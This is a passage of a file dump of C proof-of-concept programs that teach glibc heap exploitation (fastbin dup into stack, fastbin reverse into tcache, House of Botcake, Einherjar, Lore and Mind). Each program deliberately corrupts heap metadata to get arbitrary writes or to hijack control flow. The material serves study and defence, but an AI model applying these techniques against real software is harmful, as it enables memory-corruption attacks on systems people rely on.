    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n#include <unistd.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file extends on fastbin_dup.c by tricking malloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\tprintf(\"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tprintf(\"Allocate buffers to fill up tcache and prep fastbin.\\n\");\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\tprintf(\"1st calloc(1,8): %p\\n\", a);\n\tprintf(\"2nd calloc(1,8): %p\\n\", b);\n\tprintf(\"3rd calloc(1,8): %p\\n\", c);\n\n\tprintf(\"Fill up tcache.\\n\");\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Freeing the first chunk %p...\\n\", a);\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\t/* VULNERABILITY */\n\tfree(a);\n\t/* VULNERABILITY */\n\n\tprintf(\"In order to use the free list for allocation, we'll need to empty the tcache.\\n\");\n\tprintf(\"This is because since glibc-2.41, we can only reach fastbin by exhausting tcache first.\");\n\tprintf(\"Because of this patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=226e3b0a413673c0d6691a0ae6dd001fe05d21cd\");\n\tfor (int i = 0; i < 7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tprintf(\"1st calloc(1,8): %p\\n\", d);\n\tprintf(\"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tprintf(\"Now the free list has [ %p ].\\n\", a);\n\tprintf(\"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tputs(\"Note that this is only needed for calloc. It is not needed for malloc.\");\n\tstack_var[1] = 0x20;\n\n\tprintf(\"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tprintf(\"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tprintf(\"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var+0x10;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tprintf(\"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1, 8);\n\n\tprintf(\"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var+0x10);\n}\n"
  },
  {
    "path": "glibc_2.42/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\tprintf(\"After the patch https://patchwork.sourceware.org/project/glibc/patch/20250206213709.2394624-2-benjamin.p.kallus.gr@dartmouth.edu/,\\n\"\n\t\t   \"We need to control at least 8 byte before the region we want to allocate to (to forge the size).\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\tstack_var[1] = 0x51;\n\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", sizeof(size_t));\n\tsize_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);\n\tprintf(\"Our fake prev_size will be %p - %p = %#lx\\n\", c - sizeof(size_t) * 2, a, fake_size);\n\t*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;\n\n\t// Change the fake chunk's size to reflect c's new prev_size\n\tprintf(\"\\nMake sure that our fake chunk's size is equal to c's new prev_size.\\n\");\n\ta[1] = fake_size;\n\n\tprintf(\"Our fake chunk size is now %#lx (b.size + fake_prev_size)\\n\", a[1]);\n\n\t// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk\n\tprintf(\"\\nFill tcache.\\n\");\n\tintptr_t *x[7];\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tx[i] = malloc(0xf8);\n\t}\n\n\tprintf(\"Fill up tcache list.\\n\");\n\tfor(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {\n\t\tfree(x[i]);\n\t}\n\n\tprintf(\"Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\\n\");\n\tfree(c);\n\tprintf(\"Our fake chunk size is now %#lx (c.size + fake_prev_size)\\n\", a[1]);\n\n\tprintf(\"\\nNow we can call malloc() and it will begin in our fake chunk\\n\");\n\n\tintptr_t *d = malloc(0x158);\n\tprintf(\"Next malloc(0x158) is at %p\\n\", d);\n\n\t// tcache poisoning\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\\n\"\n\t\t   \"We have to create and free one more chunk for padding before fd pointer hijacking.\\n\");\n\tuint8_t *pad = malloc(0x28);\n\tfree(pad);\n\n\tprintf(\"\\nNow we free chunk 'b' to launch a tcache poisoning attack\\n\");\n\tfree(b);\n\tprintf(\"Now the tcache list has [ %p -> %p ].\\n\", b, pad);\n\n\tprintf(\"We overwrite b's fwd pointer using chunk 'd'\\n\");\n\t// requires a heap leak because it assumes the address of d is known.\n\t// since house of einherjar also requires a heap leak, we can simply just use it here.\n\td[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);\n\n\t// take target out\n\tprintf(\"Now we can cash out the target chunk.\\n\");\n\tmalloc(0x28);\n\tintptr_t *e = malloc(0x28);\n\tprintf(\"\\nThe new chunk is at %p\\n\", e);\n\n\t// sanity check\n\tassert(e == target);\n\tprintf(\"Got control on target/stack!\\n\\n\");\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 22.04 - 64bit - glibc-2.35\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.42/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) 